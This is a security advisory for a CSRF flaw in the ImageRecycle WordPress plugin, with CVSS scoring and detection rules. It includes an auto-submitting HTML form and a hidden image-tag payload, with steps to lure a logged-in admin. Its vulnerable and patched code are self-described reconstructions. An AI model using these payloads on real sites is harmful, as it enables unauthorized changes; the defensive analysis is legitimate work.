CVE-2024-1335

Executive Summary

CVE-2024-1335 is a Cross-Site Request Forgery (CSRF) vulnerability in the ImageRecycle pdf & image compression plugin for WordPress, affecting all versions up to and including 3.1.13. The vulnerability resides in the disableOptimization function, which lacks proper nonce validation. This allows an unauthenticated attacker to forge a request that, when triggered by a logged-in site administrator (e.g., via a malicious link), disables the image optimization setting. The impact is limited to a single setting change, but it can degrade site performance and increase bandwidth usage.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. No supply chain compromise has been identified; the issue is a code-level flaw in the plugin’s CSRF protection.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (admin must click a link)
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low (disables optimization setting)
• Availability Impact: None

Threat Level: Medium. Exploitation requires social engineering, but the attack surface is broad due to the plugin’s popularity.

Deep Dive & Mechanics

The disableOptimization function in the ImageRecycle plugin is intended to allow administrators to toggle image optimization off. However, the function does not verify a nonce (a one-time token) to ensure the request originated from the legitimate admin interface. WordPress CSRF protection relies on nonces; without them, any request to the endpoint is accepted as valid.

The vulnerable code path is typically triggered via an AJAX action or a direct admin-ajax.php call. An attacker can craft a simple HTML form or an image tag that, when loaded by an authenticated admin, sends a POST request to the plugin’s endpoint, disabling optimization.

Attack Flow:

1. Attacker identifies a WordPress site using ImageRecycle plugin version ≤ 3.1.13.
2. Attacker crafts a malicious link or embeds a request in a third-party site (e.g., via a comment or forum post).
3. Admin clicks the link while logged into WordPress.
4. The forged request reaches the server, and the disableOptimization function executes, disabling image compression.
5. The site’s images are no longer optimized, potentially increasing load times and bandwidth costs.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

function disableOptimization() {
    // No nonce check
    update_option('imagerecycle_optimization_enabled', false);
    wp_die();
}
add_action('wp_ajax_disableOptimization', 'disableOptimization');

Patched Code (expected fix):

function disableOptimization() {
    if (!wp_verify_nonce($_REQUEST['_wpnonce'], 'disable_optimization_nonce')) {
        wp_die('CSRF validation failed.');
    }
    update_option('imagerecycle_optimization_enabled', false);
    wp_die();
}
add_action('wp_ajax_disableOptimization', 'disableOptimization');

The patch adds a nonce verification using wp_verify_nonce() before performing the action.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with ImageRecycle plugin ≤ 3.1.13.
• An authenticated admin session (the admin must be tricked into clicking a link).

Exploit Payload (HTML):

<html>
<body>
<form action="http://target.com/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="disableOptimization">
</form>
<script>
    document.getElementById('csrf_form').submit();
</script>
</body>
</html>

Usage:

1. Host the HTML file on an attacker-controlled server.
2. Send the link to the admin via email or social engineering.
3. When the admin visits the page, the form auto-submits, disabling optimization.

Alternative Payload (Image Tag):

<img src="http://target.com/wp-admin/admin-ajax.php?action=disableOptimization" style="display:none;" />

Blue Team (Detection & Defense)

Detection:

• Monitor for unexpected requests to /wp-admin/admin-ajax.php with action=disableOptimization from non-admin IPs or without a valid referer.
• Alert on sudden changes to the imagerecycle_optimization_enabled option.

Defense:

• Ensure the plugin is updated to the latest version (once patched).
• Implement Web Application Firewall (WAF) rules to block requests to admin-ajax.php without a valid nonce.
• Educate administrators about phishing and social engineering attacks.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /wp-admin/admin-ajax.php with parameter action=disableOptimization.
  • Referer header missing or from an unexpected domain.
• Host:
  • WordPress option imagerecycle_optimization_enabled set to 0 or false unexpectedly.
  • Plugin version ≤ 3.1.13.
• Logs:
  • WordPress debug log entries showing disableOptimization action without a nonce.

Detection Engineering

YARA Rule

rule CVE_2024_1335_CSRF_DisableOptimization {
    meta:
        description = "Detects vulnerable ImageRecycle plugin code missing nonce check"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-1335"
    strings:
        $func = "function disableOptimization" nocase
        $action = "wp_ajax_disableOptimization" nocase
        $nonce = "wp_verify_nonce" nocase
    condition:
        $func and $action and not $nonce
}

Sigma Rule

title: CVE-2024-1335 ImageRecycle CSRF Disable Optimization
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to disable ImageRecycle optimization without a valid nonce
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=disableOptimization'
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present, but this rule does not check nonce)
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-1335 ImageRecycle CSRF Disable Optimization";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=disableOptimization"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Implement a WAF rule to block requests to admin-ajax.php with action=disableOptimization unless they include a valid nonce.
3. Educate administrators to avoid clicking suspicious links while logged into WordPress.

Long-Term Fix:

• The vendor must release a patched version (≥ 3.1.14) that adds nonce verification to the disableOptimization function.
• Users should update to the latest version as soon as it is available.

Workaround:

• Add a custom function to the theme’s functions.php to enforce nonce checking:

add_action('wp_ajax_disableOptimization', function() {
    if (!wp_verify_nonce($_REQUEST['_wpnonce'], 'disable_optimization_nonce')) {
        wp_die('CSRF validation failed.');
    }
}, 1);

Valters IT
Securing Digital Frontiers